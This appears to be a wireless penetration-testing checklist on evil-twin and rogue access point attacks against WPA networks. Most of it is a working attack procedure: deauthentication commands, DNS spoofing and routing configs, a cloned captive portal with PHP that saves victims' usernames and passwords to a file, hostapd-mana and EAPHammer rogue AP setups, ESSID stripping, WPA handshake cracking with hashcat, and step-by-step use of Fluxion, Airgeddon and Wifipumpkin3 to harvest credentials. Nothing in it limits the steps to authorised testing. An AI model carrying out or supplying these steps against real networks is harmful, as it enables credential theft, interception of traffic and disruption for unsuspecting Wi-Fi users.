Wi-Fi Basic Wireless Pentest Checklist WPA

• Create a rogue AP
• Trick people into connecting to it
• Conduct attacks
  • Phish credentials
  • MITM
  • Intercept data

KARMA Attack

• Devices automatically connect to known networks

• KARMA attack leverages this behavior

• Passive scanning The client devices monitor beacon frames, if the beacon has an ESSID that is on the preferred network list, it will connect to the AP that sent the frame.

• Active scanning The client transmits probe requests to nearby AP

  • Directed probes
  • Broadcast probes (More privacy)
  • airodump-ng will show the SSID that is being probed for in the probes column

• In the KARMA attack a rogue AP is created that listens for directed probe requests.

• When a directed probe request is seen the AP responds with a directed probe response matching the ESSID

• The client then connects to the rogue AP

MANA Attack

• The Rogue AP reconstructs the PNL of a nearby device.

• Every time a client sends a probe request, the AP records the MAC and maps it to an ESSID

• Loud MANA - The AP transmits beacon and probe requests for every ESSID in the PNL of nearby clients

  • The most effective method for modern devices configured for active scanning.

• Known beacon - The PNL of nearby clients is brute-forced. The Rogue AP broadcasts beacons for a list of known ESSIDs.

  • The more effective approach for modern devices configured for passive scanning

• Common ESSIDs - https://gist.github.com/jgamblin/da795e571fb5f91f9e86a27f2c2f626f

Reconnaissance

• Identify the network and clients to attack

airmon-ng start <interface>
airodump-ng <interface> -w <filename> -c <channel>

• Deauthenticate users to capture the WPA handshake

aireplay-ng --deauth 5 -a <mac address> <interface>
airodump-ng <interface> -w <file>

Manual Attack

Configure routing

• Use dnsmasq with the following dns.conf

interface=wlan1
dhcp-range=192.168.0.2,192.168.0.254,255.255.255.0,10h
dhcp-option=3,192.168.0.1
dhcp-option=6,192.168.0.1
server=8.8.4.4
server=8.8.8.8
listen-address=127.0.0.1
address=/#/192.168.0.1
log-dhcp
log-queries

• Start dnsmasq

dnsmasq -C dns.conf -d

• make sure nothing else is running on 53

• Configure an IP for the interface

ifconfig <interface> <ip>/24

• Enable IP Forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

• Change the mac address to be very similar to the target AP

ifconfig <interface> down
macchanger -m <mac> <interface>
ifconfig <interface> up

• Use DNSSpoof to redirect traffic to our IP

dnsspoof -i <interface>

Configure the captive portal

• Enable Apache Rewrite

a2enmod rewrite

• Edit /etc/apache2/apache2.conf

<Directory />
	Options FollowSymLinks
	AllowOverride All
	Require all denied
</Directory>
<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride All
	Require all granted
</Directory>

• Create .htacces inside /var/www/html

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . index.html [L]

• Restart Apache

service apache2 restart

• Clone the captive portal

httrack <url>

• Direct the form action to received.php

<form action="/received.php" method="POST" class="centered-form">

• Received.php:

<?php
if(isset($_POST['submit'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $data = $username . ' ' . $password . "\r\n";
    $ret = file_put_contents('passes.lst', $data, FILE_APPEND | LOCK_EX);
    if($ret === false) {
        die('An error has occurred');
    }
    else {
        echo "Thank you for signing in. You will be redirected shortly!";
    }
}
else {
   die('No post data to process');
}
?>

• Store the fake portal in /var/www/html

Set up the rogue AP

• create hostapd.conf

interface=wlan1
driver=nl80211
ssid=<SSID>
hw_mode=g
channel=1
auth_algs=1
bssid=<MAC address>

• Launch the AP:

hostapd hostapd.conf

• Once a client connects they will be redirected to the captive portal

• If the client enters a password it will be stored in passes.lst

• Once the captive portal has been used we can setup firewall rules to allow internet access

iptables --append POSTROUTING --table nat --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan1 -j ACCEPT

MANA attack with hostapd-mana

https://github.com/sensepost/hostapd-mana

• Enable monitor mode and start scanning

airmon-ng start <interface>
airodump-ng <interface>

• Create a hostapd.conf file

interface=<interface>
driver=nl80211
hw_mode=g
channel=<channel>
ssid=<SSID>
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=<anything>

# Mana Configuration
enable_mana=1
mana_loud=1

• Hostapd-mana will automatically mimik the SSID name

hostapd-mana hostapd.conf

• To capture WPA handshake need to remove the mana configuration from hostapd-mana

interface=<interface>
driver=nl80211
hw_mode=g
channel=<channel>
ssid=<SSID>
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=anything
mana_wpaout=handshake.hccapx

Cracking the WPA handshake

hcxhash2cap --hccapx=handshake.hccapx -c handshake.pcap
hcxpcapngtool handshake.pcap -o hash.22000
sudo hashcat -a 0 -m 22000 hash.22000 <wordlist> --force

Automated attacks

Fluxion

https://github.com/FluxionNetwork/fluxion

• Requires two WLAN interfaces
  • WLAN0 - Monitor mode
  • WLAN1 - Master mode, hosts the AP

fluxion.sh -i 

• Need to obtain a valid handshake file

• Select Option 2 - Handshake Snooper from Fluxion

  • Select WLAN0 for the interface
  • Monitor all channels
  • Leave it running for some time then stop the scan

• Select the target network

• Skip target tracking

• Select aireplay-ng deauthentication

  • Select WLAN0 for the interface

• Select aircrack-ng verification option

  • Select Every 30 seconds
  • Select Synchronously

• Watch for a Handshake Snooper attack completed message in the snooper window.

• Once the handshake is captured set up a captive portal attack

• Select Option 1 to start another attack

• Then select Captive Portal

• Type Y to accept the target

• Select wlan1 as the interface for the jamming

• Select wlan0 as the interface for the rogue AP

• Select Aireplay for the deauthentication method

• Select Rogue AP - hostapd

• For password verification select cowpatty

• Select use hash found for the verification process

• Select Aircrack-ng verification method for hash verification

• Select create an SSL certificate

• Select disconnected from the internet connectivity type menu

• Select a captive portal interface from the menu

• new tabs will open, if a client connects to the AP and enters their credentials they will be saved to a log file and the other tabs will close.

Airgeddon

https://github.com/v1s1t0r1sh3r3/airgeddon

• Needs two WLAN interfaces
  • WLAN0 - monitor mode
  • WLAN1 - Master mode

./airgeddon.sh

• Capture a handshake
  • Select the interface wlan0
  • Enable monitor mode (option 2)
  • Access the Evil Twin attack menu (7)
  • Select Evil Twin AP attack with captive portal (9)
  • Once the target appears in the terminal press ctrl + c to stop the scanning process
  • Select the target from the list
  • Select Deauth aireplay attack (2)
  • Select N to not enable Dos pursuit mode
  • Select N to not enable MAC spoofing
  • Select N as we don't have a handshake file
  • Set a timeout
  • Airgeddon will capture a handshake and ask you where to store it.
• Configure the captive portal
  • Select the language (English is option 1)
  • Choose Y/N for advanced portal
  • Multiple tabs will open
• If credentials are captured they will be saved to a log file.

EAPHammer

https://github.com/s0lst1c3/eaphammer

• First create a self-signed certificate

eaphammer --cert-wizard

• Start the rogue AP

eaphammer -i <interface> --channel <channel> --auth wpa-eap --essid <essid> --creds

ESSID stripping

https://r4ulcl.com/posts/essid-stripping/#what-is-essid-stripping-exactly

• Causes the network name to appear differently in the devices list of networks compared to the actual network name.
• Uses non printable UTF-8 Chars

\x20 = space
\x00 = Null, will omit chars after it
\t = Add a tab
\r = Add a new line
\n = Add an enter

• Example:

FreeWifi\x00pentest

• In EAPHammer create a self signed cert

eaphammer --cert-wizard

• Start a rogue AP with the ESSID stripping option

eaphammer -i <interface> --uth wpa-eap --essid <essid> --creds --negotiate balanced --essid-stripping '\t'

Wi-Fi Pumpkin 3

https://github.com/P0cL4bs/wifipumpkin3

• Enable monitor mode and scan the network

airmon-ng start <interface>
airodump-ng <interface> -c <channel>

• Identify target network and use Wifipumpkin3 to create a rogue AP

wifipumpkin3
set interface <interface>
set ssid <ssid>
set proxy noproxy
ignore pydns_server

• Use the show command to pick a module to perform via the AP such as spoof.dns_spoof

use spoof.dns_spoof
set domains <domain to spoof>
set redirectTo <IP to redirect>
start

• The redirect IP is where the fake phishing page is hosted
• To start the attack:

back
start

• If someone enters credentials they will be captured and logged.